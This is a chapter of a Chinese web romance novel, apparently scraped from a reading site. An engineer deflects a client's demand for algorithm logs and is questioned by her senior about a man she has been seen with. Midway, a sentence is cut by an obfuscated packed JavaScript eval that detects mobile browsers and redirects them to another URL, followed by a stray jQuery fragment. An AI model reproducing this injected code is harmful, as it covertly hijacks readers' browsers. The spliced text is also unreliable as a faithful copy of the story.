中午林墨杀到蓝因的时候,时从意刚跟周砚开完会。
没顺畅几天,上午科睿又把刘李组合退了回来,要求蓝因提供三年匿名化处理后的异常案例库,末了还加一句“其他入围的供应商,都已经配合提交完成”。
被退回来的李梦妍和小刘蔫头耷脑地瘫在工位上,问时从意:“时姐,咱们这个项目是不是要黄了?早知道不吃科睿那顿饭了,吃人嘴短,还要被人拿捏。”
时从意听了两人的话只淡淡一哂,跟周砚交换了一个“果不其然”的眼神。
把两位小朋友哄走,时从意和周砚去了会议室。
“科睿这是要我们开先例啊。”周砚把平板转向时从意,“三年异常案例库还要算法日志,这胃口是不是太大了点?”
“姓汪这是在揣着明白装糊涂呢。”时从意打开投影,调出合同条款:“培训服务范围写得清清楚楚,根本不包括案例库共享。上周他要接口文档我就觉得蹊跷,搞了半天是在投石问路。”
“他们提出,愿意开放往届赛事气象数据作为交换,虽然我对技术不太懂,但直觉是什么新型诈骗。”
“差不多。”时从意拿起马克笔,在白板上画了个简易流程图,“他们想用赛事气象数据这种边角料,换我们的核心算法避障日志。我买辣条还得花十块呢,他们这是想用一毛五硬买和牛。”
周砚噗嗤一声笑出来,对时从意比了个大拇指,“还得是时工,这比喻绝了。”
“本来我对科睿没有什么看法,但搞成现在这样,我不得不有个大胆的猜测。”时从意的手指在数据上点了点,“我猜他们应该是遇到了技术瓶颈,正好我们有,他们想白嫖。”
“哎呀这个姜维黎,长得浓眉大眼的居然玩这么脏,我那天吃的鲍鱼吐出来还他得了。”周砚松了松领带,跟着骂骂咧咧,“但坏就坏人家是甲方,我们不能直接拒绝。”
“当然不能硬刚。”时从意慢条斯理地翻开一份文件,“不是要数据吗?操作手册里那二十七个基础案例打包发过去,反正都是公开资料,管我呢。”
她说着顿了顿,“另外按照《国际飞手认证标准》第3.1条,下周的现场演示应该由我亲自来,他们的飞手培训合同还在我们手里攥着呢。”
“我懂了!我们可以主动提出提前演示,这样既显得配合,又能反将他们一军!”周砚突然拍桌,“我现在就约汪毅……”
话音刚落,会议室门被猛地推开。林墨一身寒气,冷着脸扫视二人。
周砚立刻站直。
“林博士!您怎么来了?”
“过来要数据。”林墨把U盘拍在桌上,对着时从意,“你们时工休个假把脑子休坏了,上周联合实验的数据模型到现在还没校验。”
新错旧错瞬间让时从意矮了半截儿,她轻手轻脚地站了起来,“师姐,我昨天发了邮件……”
“垃圾邮件里躺着呢。”林墨从口袋里掏出手机,屏幕上是时从意凌晨两点发的邮件,“时工现在日理万机,连数据校验都要趁狗都睡了的时候发?”
周砚战术性后退两步:“那什么……我去催催市场部的报告。”
他说着拎起西装外套,临走时给了时从意一个爱莫能助的眼神。
时从意张了张嘴,还没想好说辞,林墨已经转身往外走:“给你三十秒时间收拾,边吃边说。”
餐厅里,林墨盛着汤,头也不抬:“所以你就打算用基础案例搪塞科睿?”
时从意松了口气,嘟囔着:“这怎么叫搪塞呢,这叫战略性防守。再说了,他们真正想要的是动态避障算法,我到要看看谁家能当这种活菩萨,合作一个甲方就给核心……”
她说着说着顿住,林墨正用一种“听你瞎掰”的眼神看她。
“工作的事说完了吧?现在说说,上周晚上十点二十三分的视频通话,席家老宅那个给你喂蛋糕的男人是谁?”
时从意的筷子尖在豉汁凤爪上戳出个洞:“就……普通朋友,我不是跟你解释了嘛。”
“一个字都不信。”林墨冷笑一声,手机相册里赫然是视频通话的截图,精确到分秒的那种。
“时从意,研二那年,王教授儿子说要跟你做朋友,在实验室门口等了一星期,你连人家送给整个实验室的咖啡都没碰。这位可是半夜三更花前月下陪你吃蛋糕的人,你现在跟我说是‘普通朋友’?”
玻璃转盘上的虾饺突然变得无比诱人,时从意闭上耳朵,专心致志地盯着它们研究摆盘艺术。
她从小就知道自己生得好。
这种认知从小时候买零食总被免单,幼儿园总在宣传照上,到上学时总有外班同学守在窗户边偷看,再到初高中走廊里永远避不开的起哄声和口哨声。
所以她向来不敢轻易接受别人的好意,哪怕是实验室师兄递来的一瓶水,都要再三衡量才敢接下。
她很会分辨别人对她的好意到底算哪一种。
如果是普通同事同学情谊,她会礼貌地回以微笑;如果是跨越了男女界线,她就立刻调整为客套疏离的姿态,连对话都要控制在三句以内。
林墨看着她的反应,挑眉,“怎么,席家的老槐树成精了?会切蛋糕?”
时从意不敢吱声。
好死不死,这位会切蛋糕的“老槐树精”,偏偏在这个时候发来一条消息。
她放在桌面的手机屏幕蓦地亮起,还带着大名。
席琢珩:「吃饭了吗?」
时从意扶额。
这位“老槐树精”自从去了伦敦,中午晚上都按时按点按量要给她发信息。
中午那条她因为科睿的破事儿还没来得及回,现在倒好,直接撞枪口上了。
林墨的视线落在那个名字上,冷酷无情:“哟,这是抢回来了啊。”
时从意:……
早知道就不该给他把备注改回来,现在倒好,简直是自掘坟墓!
“是那天晚上的‘老槐树精’?”
林墨语气笃定。
时从意吸了口气,清了清喉咙,“师姐,上周的那个数据模型……”
“数据模型不重要,先说‘老槐树精’。”林墨打断她,不紧不慢道:“虽然我不混金融圈,但席家的这位还是知道的,毕竟人间奇才。解释清楚,他什么时候跟你成了半夜三更吃蛋糕的关系?”
时从意闭了闭眼,恨不得现在就把“老槐树精”的名字给他备注上。
她盯着屏幕上“席琢珩”三个字,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16454391|185320||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
内心激烈地斗争后头一抬:“师姐,我告诉你一件事,你可能会感觉到震撼。”
“来,说我听听,我倒要看看是怎么个震撼法。”林墨放汤碗,眼神锐利如刀,“你要是敢学人当小三,我就把席家这颗老槐树连夜砍了当柴烧,看他还怎么‘成精’切蛋糕!”
时从意缓缓地眨了眨眼:“……哈?”
“我说你,时从意,有样有貌有学历好工作也不差,要是敢给这个姓席的当小三……”林墨指着她,眼神危险,“你就等着我亲自上门清理门户,顺带当一回法制咖。”
时从意:……
林墨和时从意的情谊,在研一那年才真正深厚起来。
原本只是普通的师姐师妹关系,两人专业能力都很强,讨论课题时总能碰撞出火花,但也仅止于学术交流。
直到林墨在学术论坛上,认识了一位才华横溢的博士师兄。
对方不仅对她的研究方向表现出极大兴趣,还主动提出线下合作。渐渐地,林墨被对方的学识谈吐吸引,甚至开始分享自己的核心研究成果。
谁知那位师兄转头就剽窃了她的成果,还在学术圈内散布谣言,嘲讽林墨“只会纸上谈兵”。
那段时间林墨精神萎靡,整日泡在实验室里自暴自弃。
时从意知道后,二话不说拔了林墨的电脑电源,从实验室工具箱里抄起一把趁手的钳子,直奔食堂。
所有人都记得那天场景:时从意一身白大褂,长发随意挽起,钳子往餐桌上一拍。
“要么论坛公开道歉,要么我现在就让你知道什么叫''纸上谈兵''。”
她声音不大,却让整个食堂瞬间安静。
之后连续两周,她每天准时出现在那师兄的实验室、食堂、宿舍楼下,硬是逼得对方在论坛公开道歉,承认学术剽窃。
正因如此,林墨比谁都清楚,时从意这个看似随和的姑娘,骨子里有多倔。
现在看她这副支支吾吾的样子,林墨的火气蹭蹭往上冒。
大概是林墨的脑洞更离谱,时从意这会儿反而不慌了。
她端起汤来慢悠悠喝了一口,“那你赶紧回到好公民的行里来,我跟这个‘老槐树精’的关系,比你想的要合法。”
林墨嗤笑一声,“人未婚妻那天就在店里呢,跟你合哪门子的法?我就纳闷了,你本硕几年在我眼皮子底下清心寡欲得跟尼姑似的,就算这个‘老槐树精''超凡入圣,人中龙凤,帅过年轻时的金城武,但你居然是这样的人?”
怎么,断情绝爱的人就不配领证了?
时从意嘀咕着,但鉴于手上确实没有半点证据,连结婚证都只匆匆一瞥,她想了想,拿起手机给席琢珩发了一条信息。
「你那里有结婚证吗?」
发完才意识到有多离谱。
人家上午给你发消息你不回,刚才问你吃饭了吗你不理,这会儿倒问人家要结婚证。
谁没事儿会把结婚照存在手机里,更何况是他们这样的关系。
时从意讪讪收起手机,对上林墨似笑非笑的眸子,立刻露出一个乖巧讨好的笑容:“我无法自证,但是我清清白白。”
正说着,手机震动起来。
席琢珩发来了消息。